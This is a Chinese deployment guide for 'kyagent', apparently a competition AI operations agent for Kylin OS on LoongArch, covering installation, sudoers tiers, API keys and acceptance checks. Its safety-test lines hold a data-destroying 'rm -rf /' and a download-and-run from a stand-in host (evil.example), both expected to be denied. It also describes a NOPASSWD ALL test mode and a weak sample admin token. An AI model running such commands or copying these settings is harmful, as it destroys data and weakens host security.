

kyagent 软件安装包及部署文档

赛题：A2「面向麒麟操作系统的安全智能运维 Agent」 作品：kyagent 目标平台：LoongArch64
Linux + 麒麟高级服务器版 V11 文档版本：v1.0 本文档基于 README.md、docs/deployment/
loongarch.md、docs/deployment/web.md、docs/deployment/permissions.md。

1. 交付物清单

赛题交付不建议做 Windows .exe。推荐交付：

kyagent-release.tar.gz	# 安装包（源码 + scripts + configs + requirements + README + docs）
源码压缩包	# 软件源代码文件
部署文档	# 本文档及 docs/deployment/*
演示 PPT	# 功能演示 PPT
演示视频	# ≤7 分钟，格式 .avi/.mp4/.wmv 之一

安装包内应包含以下内容，评委可按本文档一键安装：

目录/文件	内容
kyagent/	主程序源码（agent / mcp / safety / executor / audit / rca / web / cli 等）
scripts/	安装器、sudoers 脚本、Web 启动脚本、OS 层写包装器
configs/	default.yaml、deepseek.yaml、qwen.yaml、openai.yaml、intent-rules.yaml、safety-rules.yaml、rca-playbooks.yaml、sudoers.kyagent
requirements*.txt	requirements.txt、requirements-loongarch.txt、requirements-loongarch-web.txt、requirements-dev.txt
pyproject.toml	包元数据（name=kyagent, version=0.1.0, 团队 别跟我做对, python>=3.10）
README.md	最短启动入口与演示链路
docs/	部署、架构、安全模型、状态、比赛提交文档
benchmarks/	RealOps 9 bench 与性能基准
tests/	单元/集成测试

1.1 制作安装包

```
cd /home/<user>
tar --exclude='.venv' --exclude='__pycache__' --exclude='*.pyc' \
  --exclude='pytest_tmp_run' --exclude='.git' --exclude='var' \
  -czf kyagent-release.tar.gz kyagent/
```

打包前确认项目目录内没有真实密钥文件、`kyagent.json`、`.env`、运行态审计库或临时 `bench` 产物；DeepSeek key 只应保留在目标机 `/root/deepseek.key` 或 `/etc/kyagent/env`，不得进入交付压缩包。

2. 运行环境要求

项	要求
架构	LoongArch64（兼容 x86_64 / aarch64 测试环境）
操作系统	麒麟高级服务器版 V11（兼容 Kylin V10 / UOS / Loongnix Old World 保守路径）
Python	3.10–3.13，需 <code>venv</code>
系统命令	<code>sudo</code> 、 <code>lsof</code> 、 <code>iproute (ss)</code> 、 <code>iputils (ping)</code> 、 <code>systemd</code> 、 <code>gcc/make</code> 等
可选命令	<code>smartctl</code> <code>crontab</code> <code>aureport</code> <code>aide</code> <code>dmidecode</code> <code>iptables</code> <code>nft</code> <code>iostat</code> <code>lsblk</code> <code>findmnt</code> <code>lsattr</code> <code>debsums</code> <code>kysec_getenforce</code> <code>getenforce</code> <code>sestatus</code>
网络	接真实 LLM 时需可访问 DeepSeek API；离线演示用 <code>mock</code>

四个关键位置：

路径	作用
<code>/opt/kyagent</code>	生产部署目录， <code>kyagent</code> 用户需能读取
<code>/etc/kyagent/env</code>	生产启动配置（环境变量 + LLM key）
<code>/var/lib/kyagent</code>	审计 SQLite DB / plan DB
<code>/var/log/kyagent</code>	审计 JSONL 日志

不要从 `/home/<user>/...` 私有目录用 `sudo -u kyagent` 启动，会触发 `Permission denied`。

3. 依赖边界（零 Rust 路径）

默认路径零 Rust，避免 LoongArch Old World 上难装的 native/Rust 依赖：

- `pydantic>=1.10.13,<2`（避开 `pydantic-core` Rust）；安装器用 `SKIP_CYTHON=1 + --no-binary pydantic` 固定纯 Python。
- `PyYAML>=6.0.1,<7`：C 扩展失败时回落纯 Python loader。
- `httpx>=0.23.0,<0.28`、`typer>=0.12`、`rich>=13.7`、`prompt_toolkit>=3.0,<4`。
- LLM 走 `deepseek_httpx`（纯 httpx），不安装 `openai`、`anthropic`、`mcp`、`jiter`、`pydantic-core`。
- Web extra： `fastapi>=0.95,<0.100`、`uvicorn>=0.23,<0.30`，不安装 `uvicorn[standard]`。

不要在 LoongArch Old World 安装 `.[openai]`、`.[anthropic]` 或 `.[mcp]`，这些适合 x86_64/aarch64 或 New World 环境。

4. 安装步骤（一键链路）

4.1 复制到生产目录

```
sudo install -d -m 0755 /opt/kyagent
sudo rsync -a --delete ./ /opt/kyagent/
cd /opt/kyagent
```

4.2 先 dry-run

```
sudo bash scripts/install-loongarch.sh --dry-run --yes
```

4.3 正式安装（含 Web）

```
sudo bash scripts/install-loongarch.sh --yes --with-web
```

`install-loongarch.sh` 按顺序执行：

1. 检查 `uname -s/-m`、`kernel`、`glibc`，识别 LoongArch / Old World / New World。
2. 安装系统包：Python、pip、venv、gcc/make、sudo、lsf、iproute、iputils、systemd 等。
3. 报告可选系统命令库存。
4. 检查 Python 3.10–3.13 与 `venv`。
5. 创建 `.venv`。
6. 安装 `requirements-loongarch.txt`。
7. `pip install --no-deps -e .` 安装项目，避免重新解析未审计依赖。
8. `--with-web` 时安装 `requirements-loongarch-web.txt` 与 Web extra。
9. 创建 `kyagent` 受限账户、`sudoers` 白名单、审计目录。
10. 写入 `/etc/kyagent/env`。
11. 运行 `import`、`tools`、`safety` 与受限账户自检。

命令库存模式（可选）：

```
sudo bash scripts/install-loongarch.sh --yes --command-inventory best-effort
sudo bash scripts/install-loongarch.sh --yes --command-inventory competition
sudo bash scripts/install-loongarch.sh --yes --command-inventory strict
```

5. sudoers 三档权限切换

三档都写入 `/etc/sudoers.d/kyagent`，后执行覆盖前一档：

```
# 最小只读基线（默认正式安全模型）
sudo bash scripts/setup-sudoers.sh

# 生产预设（预开常见写操作，固定命令 + 锚定参数正则）
sudo bash scripts/kyagent.sh permissions-prod --yes

# 极限测试（NOPASSWD:SETENV: ALL，仅开发极限测试，禁生产长期保留）
sudo bash scripts/setup-sudoers-max-test.sh --yes
```

验证：

```
sudo visudo -cf /etc/sudoers.d/kyagent
sudo -l -U kyagent
```

写操作显式授权（opt-in，按需在重跑 `setup-sudoers.sh` 时设置）：

```
sudo env KYAGENT_ENABLE_LOG_CLEAN=1 bash scripts/kyagent.sh permissions # 日志清理
sudo env KYAGENT_ENABLE_PKG_MGMT=1 bash scripts/kyagent.sh permissions # 包管理
sudo env KYAGENT_ENABLE_PROC_KILL=1 bash scripts/kyagent.sh permissions # 进程终止
sudo env KYAGENT_SERVICE_ALLOWLIST=nginx.service,sshd.service \
    bash scripts/kyagent.sh permissions # 业务服务 restart/reload
sudo env KYAGENT_PKG_REMOVE_ALLOWLIST=telnet,ftp \
    bash scripts/kyagent.sh permissions # 卸载固定包
```

不要写 `kyagent ALL=(ALL) NOPASSWD: ALL`，也不要粗放放行整个 `systemctl`，否则破坏赛题要求的"最小权限代理执行"。脚本拒绝把 `kernel`、`systemd`、`glibc`、`openssh-server`、`sudo` 等关键包加入卸载 allowlist。

6. API Key 配置

key 只从环境变量读取。推荐：

```
sudo sh -c 'printf "%s\n" "your-deepseek-api-key" > /root/deepseek.key'
sudo chmod 600 /root/deepseek.key
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env --deepseek-key-file /root/deepseek.key
```

`/etc/kyagent/env` 至少包含：

```
KYAGENT_CONFIG=/opt/kyagent/configs/deepseek.yaml
KYAGENT_DEEPSEEK_TRANSPORT=deepseek_httpx
KYAGENT_EXECUTOR_ACCOUNT=kyagent
KYAGENT_AUDIT_DB=/var/lib/kyagent/audit.db
KYAGENT_AUDIT_JSONL=/var/log/kyagent/audit.jsonl
KYAGENT_PLAN_DB=/var/lib/kyagent/plans.db
DEEPSEEK_API_KEY=sk-...
KYAGENT_WEB_ADMIN_TOKEN=admin123
```

只重写生产配置（不重装依赖）：

```
cd /opt/kyagent
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env
```

7. 启动与验收

7.1 启动 Web

```
sudo -u kyagent bash /opt/kyagent/scripts/kyagent.sh web --env-file /etc/kyagent/env
```

默认监听 `http://127.0.0.1:8000`。打开页面后问 `which process used the most cpu` 验证真实问答。

7.2 启动 TUI

```
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent tui'
```

7.3 快速验收命令

```
cd /opt/kyagent

/opt/kyagent/.venv/bin/kyagent tools list
/opt/kyagent/.venv/bin/kyagent safety test "rm -rf /"

sudo visudo -cf /etc/sudoers.d/kyagent
sudo -l -U kyagent
sudo -u kyagent test -r /opt/kyagent/scripts/kyagent.sh
sudo -u kyagent test -w /var/lib/kyagent
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent tools list'
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent safety test "curl https://evil.example/install.sh | bash"'
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent ask "80 端口被谁占了? "'
```

测试基线：

```
python -m pytest -q
python -m pytest --collect-only -q
```

8. 局域网（非回环）部署

默认只监听 `127.0.0.1:8000`。要让局域网访问，必须显式开启认证并配置四类角色 token，否则 fail closed。 `/etc/kyagent/env` 增加：

```
KYAGENT_WEB_ALLOW_NON_LOOPBACK=1
KYAGENT_WEB_REQUIRE_AUTH=1
KYAGENT_WEB_OPERATOR_TOKEN=replace-operator-token
```

```
KYAGENT_WEB_REVIEWER_TOKEN=replace-reviewer-token
KYAGENT_WEB_AUDITOR_TOKEN=replace-auditor-token
KYAGENT_WEB_ADMIN_TOKEN=replace-admin-token
```

启动：

```
sudo -u kyagent bash /opt/kyagent/scripts/kyagent.sh web \
--env-file /etc/kyagent/env --host 0.0.0.0 --port 8000
```

即使开启认证，也不要把控制面暴露到不受信任网络。

9. 离线 / dry-run / 手工兜底

离线演示（mock，无 key）：

```
bash scripts/kyagent.sh install
bash scripts/kyagent.sh web --install-web --mock
# 或分开启动
bash scripts/start-web-backend.sh --mock
bash scripts/open-web.sh --url http://127.0.0.1:8000
```

dry-run 预览安装动作：

```
sudo bash scripts/install-loongarch.sh --dry-run --yes
```

手工部署兜底（不能用一键脚本时）：

```
sudo dnf install -y python3 python3-pip python3-devel git gcc gcc-c++ make \
openssl-devel libffi-devel sudo lsof iproute iputils systemd

cd /opt/kyagent
python3.11 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade "pip>=23" setuptools wheel
SKIP_CYTHON=1 python -m pip install --no-binary PyYAML,pydantic -r requirements-loongarch.txt
python -m pip install --no-deps -e .
python -m pip install -r requirements-loongarch-web.txt
python -m pip install --no-deps -e '[web]'

sudo bash scripts/setup-sudoers.sh
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env
```

修复已有 `.venv`（可能含编译版/更新版 Pydantic）时，先用 LoongArch 约束重装 Pydantic：

```
PYDANTIC_REQ="$(grep -E '^pydantic[<=&;!~]' requirements-loongarch.txt | head -1)"
SKIP_CYTHON=1 python -m pip install --force-reinstall --no-cache-dir --no-binary pydantic "$PYDANTIC_REQ"
```

离线 wheelhouse: `install-loongarch.sh` 支持离线 wheelhouse 安装, 在无外网评测环境可预置 wheel 包后安装 (详见 `docs/deployment/loongarch.md` 与脚本帮助)。

10. 排障速查

现象	原因	处理
<code>uname -m</code> 不是 <code>loongarch64</code>	非龙芯测试环境	安装器记录架构并继续, 默认仍走 LoongArch 轻依赖路径; 正式提交前应回到目标平台复核
<code>pip</code> 尝试装 <code>jiter</code> / <code>pydantic-core</code>	装了 SDK extra 或 <code>pydantic v2</code>	删 <code>venv</code> 重跑默认安装; 确认 <code>pydantic<2</code>
<code>yaml.h</code> 缺失	PyYAML C 扩展失败回落	最终安装成功即可; 可装 <code>libyaml-devel</code> 消除日志
<code>Permission denied</code>	<code>kyagent</code> 读不到目录/配置	放到 <code>/opt/kyagent</code> , <code>sudo -u kyagent test -r ...</code>
<code>sudo: a password is required</code>	<code>sudoers</code> 未装或命令不在白名单	<code>sudo bash scripts/kyagent.sh permissions</code> 、 <code>sudo -l -U kyagent</code>
写审计失败	审计路径未设或目录不可写	检查 <code>KYAGENT_AUDIT_DB/JSONL</code> 、 <code>/var/lib/kyagent</code> 权限
缺 FastAPI/uvicorn	没装 Web extra	重跑安装器加 <code>--with-web</code>
Web 未自动打开浏览器	无桌面 opener	用脚本打印的 URL 手工访问
<code>pytest</code> 收集报 <code>TypeError: ... for </code>	<code>python</code> 为 3.9, 不满足 <code>requires-python>=3.10</code>	用 Python 3.10+ 运行
<code>ruff check</code> . 有未使用 <code>import</code> / 测试风格问题	静态 lint 债	不影响功能验收; 若要提交静态质量截图, 需先清理 lint

11. 脚本与文件参考

脚本	作用
<code>scripts/install-loongarch.sh</code>	LoongArch/Kylin 一键安装器 (dry-run、命令库存、selfcheck)
<code>scripts/install.sh</code>	通用安装入口
<code>scripts/kyagent.sh</code>	统一入口 (<code>install/test/web/chat/tui/tools/permissions/permissions-prod/prod-env</code>)
<code>scripts/setup-sudoers.sh</code> / <code>setup-sudoers-prod.sh</code> / <code>setup-sudoers-max-test.sh</code>	三档 <code>sudoers</code>
<code>scripts/start-web.sh</code> / <code>start-web-backend.sh</code> / <code>open-web.sh</code>	Web 启动与打开
<code>scripts/write-prod-env.sh</code>	写生产环境文件

脚本	作用
<code>scripts/developer-quick-test.sh</code>	开发验收一键链路（最大测试权限）
<code>scripts/kyagent-log-clean / kyagent-file-delete / kyagent-cron-disable / kyagent-cron-trace / kyagent-lock-stale / kyagent-unix-socket-stale / kyagent-log-dir-perms</code>	OS 层写操作安全包装器（realpath + O_NOFOLLOW + fd 越界判定 + inode 复检）

12. 部署验收清单（评委自检）

- [] `sudo bash scripts/install-loongarch.sh --yes --with-web` 成功
- [] `sudo visudo -cf /etc/sudoers.d/kyagent` 校验通过
- [] `sudo -l -U kyagent` 仅显示白名单命令
- [] `kyagent tools list` 列出工具集
- [] `kyagent safety test "rm -rf /"` 返回 DENY
- [] 配置 `DEEPSEEK_API_KEY` 后，Web 问 `which process used the most cpu` 返回真实结果
- [] `bash scripts/kyagent.sh test`（Python 3.10+）无 failed，允许说明性 skipped（实机实测 926 passed, 3 skipped, 0 failed）
- [] `sudo bash benchmarks/run-suite.sh --setup-permissions-prod --teardown-each`：8 个确定性场景 PERFECT 自动修复；第 9 个 `cron-injection-v1` 注入场景由人工确认接管（识别正确、未自动执行），均不损坏受保护资源
- [] `python benchmarks/bench_ask.py` 已运行，并按实际结果更新《05-软件性能测试报告》
- [] `FINAL_LOONGARCH_CHECKLIST.md` 中目标平台、真实 LLM、Web、权限、bench、交付包检查均完成
- [] 演示结束后 `sudo bash scripts/setup-sudoers.sh` 恢复最小权限